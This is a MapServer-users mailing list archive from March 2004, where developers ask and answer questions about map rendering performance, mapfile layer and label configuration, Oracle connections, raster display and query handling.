Content-transfer-encoding: 7BIT Hello Users, For the people who are looking for examples, we have made (some time ago) a planviewer using mapserver which is located at: http://ravi.ncgi.nl The application shows two examples of digital local zoning plans. The site is in dutch and uses jBox (the old version) for the display of the map and php to display the information that has a link with the objects in the map. Regards, Wim Blanken The Netherlands --Boundary_(ID_iB4Ynu3TxAR9TY/v2msBuA) Content-type: text/html; charset=iso-8859-1 Content-transfer-encoding: 7BIT
Hello Users,
 
For the people who are looking for examples, we have made (some time ago) a planviewer using mapserver which is located at: http://ravi.ncgi.nl
The application shows two examples of digital local zoning plans.
The site is in dutch and uses jBox (the old version) for the display of the map and php to display
the information that has a link with the objects in the map.
 
Regards,
 
Wim Blanken
The Netherlands
 
--Boundary_(ID_iB4Ynu3TxAR9TY/v2msBuA)-- From kallwn at icircus.net Sat Mar 6 13:10:37 2004 From: kallwn at icircus.net (kallwn) Date: Sat, 6 Mar 2004 14:10:37 -0700 Subject: [Mapserver-users] Mapserver and Apache performance Message-ID: <008101c403bf$7afe9cc0$4900a8c0@azstumbler.com> I was given a project this week to have ready by Monday. To accomplish this I had to install Mapserver and PHP from scratch and since no one really had much experience using either one under IIS I went with the MS4W distribution from maptools.org. Well it is now up and running but as one person had described it as "dog slow". This running on a Micron server with 4 Xenon 500MHz processors and about 3GB of memory (along with MS SQL Server and VS. NET). It is using shape files for it layers with no databases access involved. I'm going to add some performance improvements to Apache such as changing the KeepAlive settings. However I'm not sure how well this will work. Does anyone have any suggestions? From mapserver at no-log.org Sat Mar 6 12:43:46 2004 From: mapserver at no-log.org (mapserver at no-log.org) Date: Sat, 6 Mar 2004 21:43:46 +0100 (CET) Subject: [Mapserver-users] php_mapscript / SWF / TTF problem Message-ID: <17701.81.53.45.210.1078605826.squirrel@mail3.no-log.org> Hi, News : After both mapserver and php compilation i can render a single movie (FORMATOPTION "OUTPUT_MOVIE=SINGLE") which uses a fdb font without problem, but it always produces an internal server error with the setting OUTPUT_MOVIE=MULTIPLE. Internal server error appears too when I try to render a layer which uses a .dem file. No problem if OUTPUT_MOVIE equals to single, but crash with multiple. Any idea ? mastre PS: Sorry for my english :) From bartvde at xs4all.nl Sat Mar 6 12:57:10 2004 From: bartvde at xs4all.nl (Bart van den Eijnden) Date: Sat, 06 Mar 2004 21:57:10 +0100 Subject: [Mapserver-users] Mapserver and Apache performance In-Reply-To: <008101c403bf$7afe9cc0$4900a8c0@azstumbler.com> References: <008101c403bf$7afe9cc0$4900a8c0@azstumbler.com> Message-ID: Hi, did you create the quadtree indexes on your shapefiles? Best regards, Bart On Sat, 6 Mar 2004 14:10:37 -0700, kallwn wrote: > I was given a project this week to have ready by Monday. To accomplish > this > I had to install Mapserver and PHP from scratch and since no one really > had > much experience using either one under IIS I went with the MS4W > distribution > from maptools.org. Well it is now up and running but as one person had > described it as "dog slow". This running on a Micron server with 4 Xenon > 500MHz processors and about 3GB of memory (along with MS SQL Server and > VS. > NET). It is using shape files for it layers with no databases access > involved. I'm going to add some performance improvements to Apache such > as > changing the KeepAlive settings. However I'm not sure how well this will > work. Does anyone have any suggestions? > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > -- From mapgisnewbies at yahoo.com Sat Mar 6 17:33:14 2004 From: mapgisnewbies at yahoo.com (we wei) Date: Sat, 6 Mar 2004 17:33:14 -0800 (PST) Subject: [Mapserver-users] Performance of Virtual Spatial Data Access Method Message-ID: <20040307013314.237.qmail@web60002.mail.yahoo.com> --0-1091389910-1078623194=:178 Content-Type: text/plain; charset=us-ascii Hi all, I have a question regarding about the performance of getting connection from Oracle database through OGR. From my mapfile, I got 8 layers which are all getting datasource from Oracle database through Virtual Spatial Data Access Method. They are all working correctly. However, when I test it through cwc2 or just plainly using WMS thru browser, they takes quite a long while to draw though. I am a newbie to GIS stuff and this new mapserver technology. I just wonder if there is any way that I can make it faster. Right now it seems to me that everytime mapserver needs to get all the needed data from Oracle database and draw them all from scratch. Does the mapserver suppose to work in this way or did I set up something wrongly? Any help would be greatly appreciated :) Thanks in advance. --------------------------------- Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster. --0-1091389910-1078623194=:178 Content-Type: text/html; charset=us-ascii
Hi all,
 
I have a question regarding about the performance of getting connection from Oracle database through OGR.  From my mapfile, I got 8 layers which are all getting datasource from Oracle database through Virtual Spatial Data Access Method.  They are all working correctly.  However, when I test it through cwc2 or just plainly using WMS thru browser, they takes quite a long while to draw though.  I am a newbie to GIS stuff and this new mapserver technology.  I just wonder if there is any way that I can make it faster.  Right now it seems to me that everytime mapserver needs to get all the needed data from Oracle database and draw them all from scratch.  Does the mapserver suppose to work in this way or did I set up something wrongly? 
 
Any help would be greatly appreciated :)
 
Thanks in advance.   

Do you Yahoo!?
Yahoo! Search - Find what you?re looking for faster. --0-1091389910-1078623194=:178-- From mikereilly_7 at hotmail.com Sat Mar 6 19:15:29 2004 From: mikereilly_7 at hotmail.com (Mike Reilly) Date: Sat, 06 Mar 2004 19:15:29 -0800 Subject: [Mapserver-users] Mapfile problem - polygon layer and labels Message-ID: Hi: I've got a work around for the problem I'm having right now, however, it causes me to use two layers where I feel one would be more than adequate. I have a polygon layer called mergeplys, and in one layer declaration I only want to display the layers that contain "food harvest" in the "USE1" field. To this end, I built the following layers: LAYER # TUS polygon layer begins here NAME tusfoodharvest DATA "mergeplys" STATUS ON TYPE POLYGON TOLERANCE 3 PROJECTION # "init=epsg:4326" END CLASSITEM "USE1" CLASS EXPRESSION "food harvest" TEMPLATE "templates/land_query.html" COLOR 100 255 100 OUTLINECOLOR 0 255 0 # LABEL # COLOR 0 0 0 # TYPE TRUETYPE # FONT arial # SIZE 12 # POSITION CC # PARTIALS FALSE # BUFFER 2 # END END END # TUS polygon layer ends her LAYER NAME tusfoodharvest DATA "mergeplys" STATUS ON MAXSCALE 5000000000 TYPE ANNOTATION LABELITEM "USE1" CLASSITEM "USE1" LABELMAXSCALE 500000000 CLASS EXPRESSION "food harvest" COLOR 0 0 0 LABEL COLOR 0 0 0 TYPE TRUETYPE FONT arial SIZE 12 POSITION CC PARTIALS FALSE BUFFER 2 END END END The first layer displays the polygon layer and the second one adds the label to the polygon. I would like to be able to combine these two into a single layer. My attempt at this is commented out in the POLYGON layer above. What am I missing here? On a separate note, I am creating a separate LAYER for each EXPRESSION. Is there a more efficient way to do this? My .map file is getting very large, and I suspect there's got to be a better way, however, I haven't devised one as yet. TIA, Mike Reilly _________________________________________________________________ MSN Premium includes powerful parental controls and get 2 months FREE* http://join.msn.com/?pgmarket=en-ca&page=byoa/prem&xAPID=1994&DI=1034&SU=http://hotmail.com/enca&HL=Market_MSNIS_Taglines From hexagenia at hotmail.com Sat Mar 6 21:37:01 2004 From: hexagenia at hotmail.com (Scott Miller) Date: Sat, 06 Mar 2004 20:37:01 -0900 Subject: [Mapserver-users] inline map features and mapfile variable substitution Message-ID: I am trying to map inline features that have xy coordinates submitted through the url to cgi mapserver. For example the url would be like this http://localhost/cgi-bin/mapserv?mode=browse&map=../html/mapfiles/xypoint.map&xcoord=480000&ycoord=7228200 and the mapfile would contain a feature object like this: FEATURE POINTS "%xcoord%" "%ycoord%" END END When I do this I always get a message saying loadFeaturePoints():Unknown identifier. Parsing error near (%xcoord%):(Line 65) Why can I substitute variables into other areas of the map file but not POINTS? Is POINTS supposed to accept cgi variables? Scott Miller _________________________________________________________________ One-click access to Hotmail from any Web page ? download MSN Toolbar now! http://clk.atdmt.com/AVE/go/onm00200413ave/direct/01/ From warmerdam at pobox.com Sat Mar 6 22:23:57 2004 From: warmerdam at pobox.com (Frank Warmerdam) Date: Sun, 07 Mar 2004 01:23:57 -0500 Subject: [Mapserver-users] Performance of Virtual Spatial Data Access Method In-Reply-To: <20040307013314.237.qmail@web60002.mail.yahoo.com> References: <20040307013314.237.qmail@web60002.mail.yahoo.com> Message-ID: <404ABFFD.70008@pobox.com> we wei wrote: > Hi all, > > I have a question regarding about the performance of getting connection > from Oracle database through OGR. From my mapfile, I got 8 layers which > are all getting datasource from Oracle database through Virtual Spatial > Data Access Method. They are all working correctly. However, when I > test it through cwc2 or just plainly using WMS thru browser, they takes > quite a long while to draw though. I am a newbie to GIS stuff and this > new mapserver technology. I just wonder if there is any way that I can > make it faster. Right now it seems to me that everytime mapserver needs > to get all the needed data from Oracle database and draw them all from > scratch. Does the mapserver suppose to work in this way or did I set up > something wrongly? We Wei, Looking in the OGR Oracle driver code, I see that I "preserve" OCI "environments", but create a new session for each time the datasource is opened. MapServer will currently reopen the OGR datasource for each layer accessed referring to that OGR datasource. I believe at the time I was thinking that preserving the OCI environment was going to avoid high cost operations later on. However, I am not at all convinced I ever tested this assumption, and now I am not at all certain it is true. Can you construct a test map that would demonstrate whether the issue is a high "logon" connection cost or if it is something else? A decent test would be to create a table in Oracle with a single point feature. Then add a layer rendering it. Test the time with one occurance of that layer, then 5, 10, 15, 20. See the time is going up linearly. If I am doing stuff in a smart way, the first layer should be slow, but adding more copies of the same layer should take almost no time. If it turns out the time is going up alot for each new layer, then I would be willing to do some work on the OGR oracle driver, essentially for connection pooling. Best regards, -- ---------------------------------------+-------------------------------------- I set the clouds in motion - turn up | Frank Warmerdam, warmerdam at pobox.com light and sound - activate the windows | http://pobox.com/~warmerdam and watch the world go round - Rush | Geospatial Programmer for Rent From zaltand at iol.it Sun Mar 7 01:17:43 2004 From: zaltand at iol.it (zaltand at iol.it) Date: Sun, 7 Mar 2004 10:17:43 +0100 Subject: [Mapserver-users] layer->drawquery error Message-ID: Hello, I have notice a little problem in the mapscript function layerobj -> drawquery(imageobj). This function do not hilite the shape and work as theother function draw(imageobj) In the mapscript_i.c source file I modify line 690 msDrawLayer --> msDrawQueryLayer and all works correctly!! Please insert this little change in the future relase 4.1 Thanks in advance!! Andrea Zaltron Via fusinato, 56 36015 Schio (VI) ITALY From ms57 at streamyx.com Sun Mar 7 06:12:17 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Sun, 07 Mar 2004 22:12:17 +0800 Subject: [Mapserver-users] itemquery followed by query Message-ID: <001101c4044e$32d50d00$d8765edb@maps> All my tools are working when I call the findLake('BOWSTRING') it zooms to the correct lake and highlihts it My info(query) tool works fine as well. But, when I call the info(query) tool immediatley after the calling findLake(' ..'), there is no query template shown - the page gets submitted back to it's origial extents. I've included some relevatn lines, Thanks, Steve followed by the info (query button) it seems like the page gets submitted but back to the original function findLake(sLake){ document.mapserv.mode.value = "itemquery"; document.mapserv.savequery.value = "true"; document.mapserv.qlayer.value = "LAKE_QUERY"; document.mapserv.qitem.value = "Lake_name"; document.mapserv.qstring.value = sLake;// pas in "BOWSTRING"; document.mapserv.mapext.value = "shapes"; document.mapserv.buffer.value = "5000"; document.mapserv.submit(); } //following when user activates info(query) button/tool case "image5"://query document.mapserv.mode.value = "query"; document.jBox.boxoff(); document.mapserv.zoomdir.value = 0; break; From mapgisnewbies at yahoo.com Sun Mar 7 07:00:39 2004 From: mapgisnewbies at yahoo.com (we wei) Date: Sun, 7 Mar 2004 07:00:39 -0800 (PST) Subject: [Mapserver-users] Problem with GetCapabilities Message-ID: <20040307150039.85739.qmail@web60005.mail.yahoo.com> Hi all, I got a problem when I test getcapabilities on my WMS server. I created a mapfile with 8 layers which all use Oracle datasource through Virtual Spatial Data access method. When I tried to test getcapabilities in a browser, it took quite a long while to download an xml file while the size of an xml file is only 4kb. And sometimes, it will save part of the xml file only. However, when I test another mapfile with shape file as the datasource. I can downloaded an xml file right away. I just wonder how getcapabilities works? Does getcapabilities needs to test connection from each layer to datasource or simply dump results from my mapfile? I am very new to this mapserver technology and could anyone help me on this problem ? If anything I misunderstood, just point me out. Any help will be greatly appreciated :) Thanks in advance. __________________________________ Do you Yahoo!? Yahoo! Search - Find what you?re looking for faster http://search.yahoo.com From sgillies at frii.com Sun Mar 7 07:33:47 2004 From: sgillies at frii.com (Sean Gillies) Date: Sun, 7 Mar 2004 08:33:47 -0700 Subject: [Mapserver-users] Mapfile problem - polygon layer and labels In-Reply-To: References: Message-ID: On Mar 6, 2004, at 8:15 PM, Mike Reilly wrote: > Hi: > > I've got a work around for the problem I'm having right now, however, > it causes me to use two layers where I feel one would be more than > adequate. I have a polygon layer called mergeplys, and in one layer > declaration I only want to display the layers that contain "food > harvest" in the "USE1" field. To this end, I built the following > layers: > > LAYER # TUS polygon layer begins here > NAME tusfoodharvest > DATA "mergeplys" > STATUS ON > TYPE POLYGON > TOLERANCE 3 > PROJECTION > # "init=epsg:4326" > END > CLASSITEM "USE1" > CLASS > EXPRESSION "food harvest" > TEMPLATE "templates/land_query.html" > COLOR 100 255 100 > OUTLINECOLOR 0 255 0 > # LABEL > # COLOR 0 0 0 > # TYPE TRUETYPE > # FONT arial > # SIZE 12 > # POSITION CC > # PARTIALS FALSE > # BUFFER 2 > # END > END > END # TUS polygon layer ends her > > LAYER > NAME tusfoodharvest > DATA "mergeplys" > STATUS ON > MAXSCALE 5000000000 > TYPE ANNOTATION > LABELITEM "USE1" > CLASSITEM "USE1" > LABELMAXSCALE 500000000 > CLASS > EXPRESSION "food harvest" > COLOR 0 0 0 > LABEL > COLOR 0 0 0 > TYPE TRUETYPE > FONT arial > SIZE 12 > POSITION CC > PARTIALS FALSE > BUFFER 2 > END > END > END > > The first layer displays the polygon layer and the second one adds the > label to the polygon. I would like to be able to combine these two > into a single layer. My attempt at this is commented out in the > POLYGON layer above. What am I missing here? > > On a separate note, I am creating a separate LAYER for each > EXPRESSION. Is there a more efficient way to do this? My .map file > is getting very large, and I suspect there's got to be a better way, > however, I haven't devised one as yet. > > TIA, > Mike Reilly > Mike, I see right away that the first layer does not define a LABELITEM. That may not be the _only_ problem, but you won't get a label without it. Instead of a separate LAYER for each expression, use another CLASS. CLASS EXPRESSION "food harvest" TEMPLATE "templates/land_query.html" COLOR 100 255 100 OUTLINECOLOR 0 255 0 ... END CLASS EXPRESSION "other expression" TEMPLATE "templates/land_query.html" COLOR 200 55 200 OUTLINECOLOR 0 255 0 ... END Hope this helps, Sean -- Sean Gillies sgillies at frii dot com http://users.frii.com/sgillies From ed at topozone.com Sun Mar 7 09:33:01 2004 From: ed at topozone.com (Ed McNierney) Date: Sun, 7 Mar 2004 12:33:01 -0500 Subject: [Mapserver-users] Mapserver and Apache performance Message-ID: <13858AA1A74F30419F319ACB66A9D1224E3ED6@mercator.topozone.com> You need to tell us a bit more about what it is you're doing that is slow. For example, if you have an enormous shapefile and you're trying to draw the whole thing in one output map, that might take a while and produce an illegible map. I don't think playing with Apache settings will do you any good unless you understand the problem; they're very likely to be irrelevant. Please give us as much detail as you can about the nature, size, and number of the shapefiles you're using and the map image you're requesting. Does the performance change as you zoom in or out? - Ed Ed McNierney President and Chief Mapmaker TopoZone.com -----Original Message----- From: kallwn [mailto:kallwn at icircus.net] Sent: Saturday, March 06, 2004 4:11 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Mapserver and Apache performance I was given a project this week to have ready by Monday. To accomplish this I had to install Mapserver and PHP from scratch and since no one really had much experience using either one under IIS I went with the MS4W distribution from maptools.org. Well it is now up and running but as one person had described it as "dog slow". This running on a Micron server with 4 Xenon 500MHz processors and about 3GB of memory (along with MS SQL Server and VS. NET). It is using shape files for it layers with no databases access involved. I'm going to add some performance improvements to Apache such as changing the KeepAlive settings. However I'm not sure how well this will work. Does anyone have any suggestions? _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From mh at svaj.dk Sun Mar 7 10:12:48 2004 From: mh at svaj.dk (mh at svaj.dk) Date: Sun, 7 Mar 2004 19:12:48 +0100 Subject: [Mapserver-users] Out of office autoreply Message-ID: Jeg er p? ferie indtil d. 22 marts. Mine kollegaer kan tr?ffes p? tlf. 98129300. I am on leave until Marts 22. If you have any matter of urgency please do not hesitate to call my collegues on +45 98129300 From mikereilly_7 at hotmail.com Sun Mar 7 13:27:35 2004 From: mikereilly_7 at hotmail.com (Mike Reilly) Date: Sun, 07 Mar 2004 13:27:35 -0800 Subject: [Mapserver-users] Mapfile problem - polygon layer and labels Message-ID: Top posting a short thanks to Sean - thanks, man, I'm a lone wolf building this system with nobody but the list for feedback and your assistance here is greatly appreciated :) >From: Sean Gillies >To: "Mike Reilly" >CC: mapserver-users at lists.gis.umn.edu >Subject: Re: [Mapserver-users] Mapfile problem - polygon layer and labels >Date: Sun, 7 Mar 2004 08:33:47 -0700 > >On Mar 6, 2004, at 8:15 PM, Mike Reilly wrote: > >>Hi: >> >>I've got a work around for the problem I'm having right now, however, it >>causes me to use two layers where I feel one would be more than adequate. >>I have a polygon layer called mergeplys, and in one layer declaration I >>only want to display the layers that contain "food harvest" in the "USE1" >>field. To this end, I built the following layers: >> >> LAYER # TUS polygon layer begins here >> NAME tusfoodharvest >> DATA "mergeplys" >> STATUS ON >> TYPE POLYGON >> TOLERANCE 3 >> PROJECTION >># "init=epsg:4326" >> END >> CLASSITEM "USE1" >> CLASS >> EXPRESSION "food harvest" >> TEMPLATE "templates/land_query.html" >> COLOR 100 255 100 >> OUTLINECOLOR 0 255 0 >># LABEL >># COLOR 0 0 0 >># TYPE TRUETYPE >># FONT arial >># SIZE 12 >># POSITION CC >># PARTIALS FALSE >># BUFFER 2 >># END >> END >> END # TUS polygon layer ends her >> >> LAYER >> NAME tusfoodharvest >> DATA "mergeplys" >> STATUS ON >> MAXSCALE 5000000000 >> TYPE ANNOTATION >> LABELITEM "USE1" >> CLASSITEM "USE1" >> LABELMAXSCALE 500000000 >> CLASS >> EXPRESSION "food harvest" >> COLOR 0 0 0 >> LABEL >> COLOR 0 0 0 >> TYPE TRUETYPE >> FONT arial >> SIZE 12 >> POSITION CC >> PARTIALS FALSE >> BUFFER 2 >> END >> END >> END >> >>The first layer displays the polygon layer and the second one adds the >>label to the polygon. I would like to be able to combine these two into a >>single layer. My attempt at this is commented out in the POLYGON layer >>above. What am I missing here? >> >>On a separate note, I am creating a separate LAYER for each EXPRESSION. >>Is there a more efficient way to do this? My .map file is getting very >>large, and I suspect there's got to be a better way, however, I haven't >>devised one as yet. >> >>TIA, >>Mike Reilly >> > >Mike, > >I see right away that the first layer does not define a LABELITEM. That >may not be the _only_ problem, but you won't get a label without it. > >Instead of a separate LAYER for each expression, use another CLASS. > > CLASS > EXPRESSION "food harvest" > TEMPLATE "templates/land_query.html" > COLOR 100 255 100 > OUTLINECOLOR 0 255 0 > ... > END > CLASS > EXPRESSION "other expression" > TEMPLATE "templates/land_query.html" > COLOR 200 55 200 > OUTLINECOLOR 0 255 0 > ... > END > >Hope this helps, >Sean > >-- >Sean Gillies >sgillies at frii dot com >http://users.frii.com/sgillies > >_______________________________________________ >Mapserver-users mailing list >Mapserver-users at lists.gis.umn.edu >http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _________________________________________________________________ MSN Premium: Up to 11 personalized e-mail addresses and 2 months FREE* http://join.msn.com/?pgmarket=en-ca&page=byoa/prem&xAPID=1994&DI=1034&SU=http://hotmail.com/enca&HL=Market_MSNIS_Taglines From ms57 at streamyx.com Sun Mar 7 18:13:26 2004 From: ms57 at streamyx.com (Steve McCrone) Date: Mon, 08 Mar 2004 10:13:26 +0800 Subject: [Mapserver-users] Savequery - causing problems Message-ID: <003801c404b2$f10a9970$a03e5edb@maps> I have isolated my previous problem to the savequery. When I set it to true, the highlighted polygon does stay highlighted, but it messes up my query (i.e. when the user enables the info tool and clicks on a polygon(lake) the form is submitted but returns back to the full extent and does not dispaly query templates. But when I set the savequery to false, the query tool works fine after the itemquery. Thanks From sean at satshot.com Sun Mar 7 20:13:04 2004 From: sean at satshot.com (Sean Kleinjung) Date: 07 Mar 2004 22:13:04 -0600 Subject: [Mapserver-users] Error Displaying Rasters Message-ID: <1078719184.12889.20.camel@olympus.satshot.com> Hello, We have been using an ancient version of MapServer (3.2) to run a number of websites. We are finally getting around to building a site using a new version (4.0.1) of MapServer, but have run into a snag getting raster data to display. We've upgraded our mapfiles and have gotten the query and display of ESRI shapefiles to work fine, but adding any raster layers to the mapfile causes the server to return an internal server error. I have tried both using tiled raster layers, and the simple case of just including a layer with the data pointing to an image file (as described in the Raster HOWTO). Enclosed at the end of this message is a stripped down mapfile with just a single raster layer. The .tif file I am referencing is a GeoTIFF and the supplied projection information is correct. It is an 8-bit image that displays fine under the systems running MapServer 3.2. The output of mapserv -v is as follows: MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE and here is gdal-config --formats: gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 bsb xpm sdts raw dted mem jdem envisat elas fit vrt usgsdem l1b nitf bmp jpeg2000 gif jpeg png Any hints as to what may be going wrong would be greatly appreciated. Thank you, Sean Kleinjung Web Application Developer Agri ImaGIS Technologies, Inc. sean at satshot.com Sample map file follows: # MapFile automatically generated by # Agri ImaGIS Technologies, Inc. jWebMap NAME "jWebMap-1078716933050" STATUS ON SIZE 400 400 EXTENT 515000.0 5110000.0 840000.0 5440000.0 IMAGECOLOR 255 255 255 PROJECTION "proj=utm" "zone=14" "ellps=GRS80" END WEB TEMPLATE "/home/httpd/html/webmap/templates/1078716933035.html" END LAYER NAME "testRaster" TYPE RASTER STATUS DEFAULT DATA "/data/imagery/2003/L3026z14_Aug25_03.tif" PROJECTION "proj=utm" "zone=14" "ellps=GRS80" END END END From ujunge at pmcentral.com Sun Mar 7 20:36:10 2004 From: ujunge at pmcentral.com (ujunge at pmcentral.com) Date: Sun, 7 Mar 2004 23:36:10 -0500 Subject: [Mapserver-users] Performance of indexed shape files (W2K/php_mapscript) Message-ID: <002001c404c6$e21db550$0300a8c0@gericom> This is a multi-part message in MIME format. ------=_NextPart_000_001D_01C4049C.F8B690E0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hello MapServer Users, I do not see any performance differences using shapefile indexes, = generated by precompiled shptree.exe (8/6/2003). In fact, no matter which command line parameters have been choosen,=20 shapefiles will not render faster nor slower if the qix-file is = present or not.=20 It doesn't even make a difference what shape-file I'am looking at. For example, taking a 50MB shape file (200K lines) with street data = covering CA or TX and zooming in=20 about 1 mile in any city takes exactly the same rendering time, with or = without qix-files. As another example, a 80MB filled polygon layer (16K polygons), = displaying urban-areas and covering the entire US,=20 takes the same time to render (zooing in about 30miles), again with or = without index-files. With respect to the performance difference, - it doesn't matter, if the map for a specific area is requested the = first time=20 or requested subsequently with small area-hanges . - it dosen't matter, if only one layer is requested, or more layers, = which may not be indexed. All layers have the same projection (WGS84) , the is no reprojection on = the fly. Does it mean, that the qix-index is not used at all ? Is this a Windows - Distribution issue ? (i would like to use Linux, but = the customer not) I use the precomiled php_mapscript_40.dll (8/5/2003) on a PIII = W2K-Server (512MB) . Greetings, Uwe Junge Uwe Junge PMCentral Systems, Inc. 4201 Pinefield Court Fairfax, Virginia 22033 (703) 378-0952 --- Outgoing mail is certified Virus Free. Checked by AVG anti-virus system (http://www.grisoft.com). Version: 6.0.613 / Virus Database: 392 - Release Date: 3/4/2004 ------=_NextPart_000_001D_01C4049C.F8B690E0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hello MapServer Users,
 
I do not see any performance = differences using=20 shapefile indexes, generated by precompiled shptree.exe = (8/6/2003).
In fact, no matter which command=20 line parameters have been choosen,
shapefiles will not render faster nor = slower =20 if  the qix-file is present or = not.=20
 
It doesn't even make a difference what=20 shape-file I'am looking at.
 
For example, taking a 50MB shape = file (200K=20 lines) with street data covering CA = or TX and=20 zooming in 
about 1 mile in any city takes exactly = the same=20 rendering time, with or without qix-files.
 
As another example, a 80MB filled = polygon layer=20 (16K polygons), displaying urban-areas and covering the entire US, =
takes the same time to render (zooing = in about=20 30miles), again with or without index-files.
 
With respect to the performance=20 difference,
- it doesn't matter, if = the map for a=20 specific area is requested the first time
  or requested=20 subsequently with small area-hanges .
- it dosen't matter, if only one layer = is=20 requested, or more layers, which may not be indexed.
 
All layers have the same projection = (WGS84) , the=20 is no reprojection on the fly.
 
Does it mean, that the qix-index is not = used at all=20 ?
 
Is this a Windows - Distribution issue = ?=20 (i would like to use Linux, but the = customer=20 not)
 
I use the = precomiled php_mapscript_40.dll=20 (8/5/2003) on a PIII W2K-Server  (512MB) .
 
 
 
Greetings,
 
 
Uwe Junge
 
 
 
Uwe Junge
PMCentral Systems, = Inc.
4201=20 Pinefield Court
Fairfax, Virginia 22033
 
(703) 378-0952
 

---
Outgoing mail is certified = Virus=20 Free.
Checked by AVG anti-virus system (http://www.grisoft.com).
Version: = 6.0.613 /=20 Virus Database: 392 - Release Date:=20 3/4/2004
------=_NextPart_000_001D_01C4049C.F8B690E0-- From werner at spatialdimension.co.za Sun Mar 7 22:52:44 2004 From: werner at spatialdimension.co.za (Werner du Plessis) Date: Mon, 8 Mar 2004 08:52:44 +0200 Subject: [Mapserver-users] Queryfile Message-ID: <89E3039EC5D3BF4C9A74E4B997AC4969ABF98A@mscpt-ser02.minserv.co.za> Hi Steve, I struggled with the exact same problem & managed to resolve. The problem was the "savequery" paramater, you need to set it to nothing after the first queryfile's created. Setting "savequery=false" will still create a queryfile, so you have to set it to "savequery=". This will allow you to interact with the map while your query results are displayed. To clear the queryresults just set "queryfile=". Hope this helps. Regards Werner du Plessis From siki at agt.bme.hu Mon Mar 8 01:21:41 2004 From: siki at agt.bme.hu (Siki Zoltan) Date: Mon, 8 Mar 2004 08:21:41 -0100 (GMT+1) Subject: [Mapserver-users] Error Displaying Rasters {Scanned} In-Reply-To: <1078719184.12889.20.camel@olympus.satshot.com> Message-ID: Hi Sean, I had similar problem on Linux with Mapserver 4. I have recompiled Mapserver without tiff support. On win32 I use the binary release, and it works fine. I hope it helps you Bye Zoltan On 7 Mar 2004, Sean Kleinjung wrote: > Hello, > > We have been using an ancient version of MapServer (3.2) to run a number > of websites. We are finally getting around to building a site using a > new version (4.0.1) of MapServer, but have run into a snag getting > raster data to display. > > We've upgraded our mapfiles and have gotten the query and display of > ESRI shapefiles to work fine, but adding any raster layers to the > mapfile causes the server to return an internal server error. I have > tried both using tiled raster layers, and the simple case of just > including a layer with the data pointing to an image file (as described > in the Raster HOWTO). > > Enclosed at the end of this message is a stripped down mapfile with just > a single raster layer. The .tif file I am referencing is a GeoTIFF and > the supplied projection information is correct. It is an 8-bit image > that displays fine under the systems running MapServer 3.2. > > The output of mapserv -v is as follows: > > MapServer version 4.0.1 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ > SUPPORTS=FREETYPE SUPPORTS=WMS_SERVER SUPPORTS=WMS_CLIENT > SUPPORTS=WFS_SERVER SUPPORTS=WFS_CLIENT INPUT=TIFF INPUT=EPPL7 > INPUT=JPEG INPUT=OGR INPUT=GDAL INPUT=SHAPEFILE > > and here is gdal-config --formats: > > gxf gtiff hfa aigrid aaigrid ceos ceos2 iso8211 bsb xpm sdts raw dted > mem jdem envisat elas fit vrt usgsdem l1b nitf bmp jpeg2000 gif jpeg png > > Any hints as to what may be going wrong would be greatly appreciated. > > Thank you, > Sean Kleinjung > Web Application Developer > Agri ImaGIS Technologies, Inc. > sean at satshot.com > > Sample map file follows: > > > # MapFile automatically generated by > # Agri ImaGIS Technologies, Inc. jWebMap > > NAME "jWebMap-1078716933050" > STATUS ON > SIZE 400 400 > > EXTENT 515000.0 5110000.0 840000.0 5440000.0 > > IMAGECOLOR 255 255 255 > > PROJECTION > "proj=utm" > "zone=14" > "ellps=GRS80" > END > > WEB > TEMPLATE "/home/httpd/html/webmap/templates/1078716933035.html" > END > > LAYER > NAME "testRaster" > TYPE RASTER > STATUS DEFAULT > DATA "/data/imagery/2003/L3026z14_Aug25_03.tif" > PROJECTION > "proj=utm" > "zone=14" > "ellps=GRS80" > END > END > > END > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From shpr at libero.it Mon Mar 8 02:09:02 2004 From: shpr at libero.it (Bonnin S.) Date: Mon, 8 Mar 2004 11:09:02 +0100 Subject: [Mapserver-users] JBox and Mozilla Firefox Message-ID: <003401c404f5$64e8bf10$0501a8c0@comai04> This is a multi-part message in MIME format. ------=_NextPart_000_0031_01C404FD.C361A590 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Hi all, I'm working around Mapplet/JBox and I'm testing it on some popular = browser. I have noticed that there are some problem with Mozilla = Firefox. When I try to do some operations like zoom out the Mozilla java = environment hangs and no other operations are possible. At the following address there is a mapserver/Jbox application where I = found the error: http://www2.tetonwyo.org/mapserver/mapserv.exe?MAP_IMAGETYPE=3Dgif&MAP_LE= GEND_STATUS=3DOFF&MAP_REFERENCE_STATUS=3DON&java=3Don&imgext=3D2402364.11= 5702+1406197.272727+2458002.297520+1447897.272727&map=3Dtc%2Ftc.map&mapex= t=3Dshapes&mode=3Dbrowse&zoomsize=3D2&template=3Dtc.html&layers=3DRoads+o= wnership+Water+state_fed&zoomdir=3D0&imgxy=3D292.5+40.5&imgbox=3D292.5+40= .5+292.5+40.5&help=3D&jump=3D&map_size=3D440+330 Any suggestion? Thanks. ------=_NextPart_000_0031_01C404FD.C361A590 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Hi all,
 
